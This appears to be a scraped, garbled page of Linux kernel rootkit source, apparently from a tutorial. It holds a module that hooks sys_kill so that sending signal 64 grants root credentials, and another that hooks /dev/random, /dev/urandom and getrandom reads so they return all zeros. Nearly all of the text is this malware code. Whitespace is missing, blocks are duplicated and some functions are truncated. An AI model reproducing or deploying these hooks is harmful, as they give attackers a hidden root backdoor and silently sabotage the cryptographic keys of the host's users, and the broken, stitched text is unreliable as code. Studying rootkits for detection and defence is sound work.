voidset_root(void) { /* prepare_creds returns the current credentials of the process */ structcred *root; root = prepare_creds();
if (root == NULL) return;
/* Run through and set all the various *id's to 0 (root) */ root->uid.val = root->gid.val = 0; root->euid.val = root->egid.val = 0; root->suid.val = root->sgid.val = 0; root->fsuid.val = root->fsgid.val = 0;
/* Set the cred struct that we've modified to that of the calling process */ commit_creds(root); }
As previously mentioned, a task may only alter its own credentials, and may not alter those of another task. This means that it doesn’t need to use any locking to alter its own credentials. 如前所述,一个任务只能更改其自身的凭证,而不能更改其他任务的凭证。这意味着它不需要使用任何锁定来更改其自身的凭证。
MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Giving root privileges to a process"); MODULE_VERSION("0.02");
/* After Kernel 4.17.0, the way that syscalls are handled changed * to use the pt_regs struct instead of the more familiar function * prototype declaration. We have to check for this, and set a * variable for later on */ #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif
/* We now have to check for the PTREGS_SYSCALL_STUBS flag and * declare the orig_kill and hook_kill functions differently * depending on the kernel version. This is the largest barrier to * getting the rootkit to work on earlier kernel versions. The * more modern way is to use the pt_regs struct. */ #ifdef PTREGS_SYSCALL_STUBS static asmlinkage long(*orig_kill)(conststruct pt_regs *);
/* We can only modify our own privileges, and not that of another * process. Just have to wait for signal 64 (normally unused) * and then call the set_root() function. */ asmlinkage inthook_kill(conststruct pt_regs *regs) { voidset_root(void);
// pid_t pid = regs->di; int sig = regs->si;
if ( sig == 64 ) { printk(KERN_INFO "rootkit: giving root...\n"); set_root(); return0; }
return orig_kill(regs);
} #else /* This is the old way of declaring a syscall hook */ static asmlinkage long(*orig_kill)(pid_t pid, int sig);
static asmlinkage inthook_kill(pid_t pid, int sig) { voidset_root(void);
if ( sig == 64 ) { printk(KERN_INFO "rootkit: giving root...\n"); set_root(); return0; }
return orig_kill(pid, sig); } #endif
/* Whatever calls this function will have it's creds struct replaced * with root's */ voidset_root(void) { /* prepare_creds returns the current credentials of the process */ structcred *root; root = prepare_creds();
if (root == NULL) return;
/* Run through and set all the various *id's to 0 (root) */ root->uid.val = root->gid.val = 0; root->euid.val = root->egid.val = 0; root->suid.val = root->sgid.val = 0; root->fsuid.val = root->fsgid.val = 0;
/* Set the cred struct that we've modified to that of the calling process */ commit_creds(root); }
/* Declare the struct that ftrace needs to hook the syscall */ staticstructftrace_hookhooks[] = { HOOK("sys_kill", hook_kill, &orig_kill), };
/* Module initialization function */ staticint __init rootkit_init(void) { /* Hook the syscall and print to the kernel buffer */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err;
printk(KERN_INFO "rootkit: Loaded >:-)\n");
return0; }
staticvoid __exit rootkit_exit(void) { /* Unhook and restore the syscall and print to the kernel buffer */ fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); }
/* Call the real random_read_iter() file operation to set up all the structures */ bytes_read = orig_random_read(iocb, to); printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %ld bytes\n", bytes_read);
if (bytes_read <= 0) return bytes_read;
count = bytes_read; /* Allocate a kernel buffer that we will fill with zeros */ kbuf = kzalloc(count, GFP_KERNEL); if (!kbuf) return bytes_read;
/* Fill kbuf with 0x00 */ for (i = 0; i < count; i++) kbuf[i] = 0x00;
/* Reset the iterator and copy our rigged data */ iov_iter_revert(to, bytes_read); if (copy_to_iter(kbuf, count, to) != count) printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");
/* Call the real urandom_read_iter() file operation to set up all the structures */ bytes_read = orig_urandom_read(iocb, to); printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %ld bytes\n", bytes_read);
if (bytes_read <= 0) return bytes_read;
count = bytes_read; /* Allocate a kernel buffer that we will fill with zeros */ kbuf = kzalloc(count, GFP_KERNEL); if (!kbuf) return bytes_read;
/* Fill kbuf with 0x00 */ for (i = 0; i < count; i++) kbuf[i] = 0x00;
/* Reset the iterator and copy our rigged data */ iov_iter_revert(to, bytes_read); if (copy_to_iter(kbuf, count, to) != count) printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");
kfree(kbuf); return bytes_read; }
/* We are going to use the fh_install_hooks() function from ftrace_helper.h * in the module initialization function. This function takes an array of * ftrace_hook structs, so we initialize it with what we want to hook * */ staticstructftrace_hookhooks[] = { { .name = "random_read_iter", .function = hook_random_read, .original = &orig_random_read, }, { .name = "urandom_read_iter", .function = hook_urandom_read, .original = &orig_urandom_read, }, };
/* Module initialization function */ staticint __init rootkit_init(void) { /* Simply call fh_install_hooks() with hooks (defined above) */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err;
/* Call the real random_read_iter() file operation to set up all the structures */ bytes_read = orig_random_read(iocb, to); printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %ld bytes\n", bytes_read);
if (bytes_read <= 0) return bytes_read;
count = bytes_read; /* Allocate a kernel buffer that we will fill with zeros */ kbuf = kzalloc(count, GFP_KERNEL); if (!kbuf) return bytes_read;
/* Fill kbuf with 0x00 */ for (i = 0; i < count; i++) kbuf[i] = 0x00;
/* Reset the iterator and copy our rigged data */ iov_iter_revert(to, bytes_read); if (copy_to_iter(kbuf, count, to) != count) printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");
/* Call the real urandom_read_iter() file operation to set up all the structures */ bytes_read = orig_urandom_read(iocb, to); printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %ld bytes\n", bytes_read);
if (bytes_read <= 0) return bytes_read;
count = bytes_read; /* Allocate a kernel buffer that we will fill with zeros */ kbuf = kzalloc(count, GFP_KERNEL); if (!kbuf) return bytes_read;
/* Fill kbuf with 0x00 */ for (i = 0; i < count; i++) kbuf[i] = 0x00;
/* Reset the iterator and copy our rigged data */ iov_iter_revert(to, bytes_read); if (copy_to_iter(kbuf, count, to) != count) printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");
kfree(kbuf); return bytes_read; }
/* We are going to use the fh_install_hooks() function from ftrace_helper.h * in the module initialization function. This function takes an array of * ftrace_hook structs, so we initialize it with what we want to hook * */ staticstructftrace_hookhooks[] = { { .name = "random_read_iter", .function = hook_random_read, .original = &orig_random_read, }, { .name = "urandom_read_iter", .function = hook_urandom_read, .original = &orig_urandom_read, }, { .name = "__x64_sys_getrandom", .function = hook_getrandom, .original = &orig_getrandom, }, };
/* Module initialization function */ staticint __init rootkit_init(void) { /* Simply call fh_install_hooks() with hooks (defined above) */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err;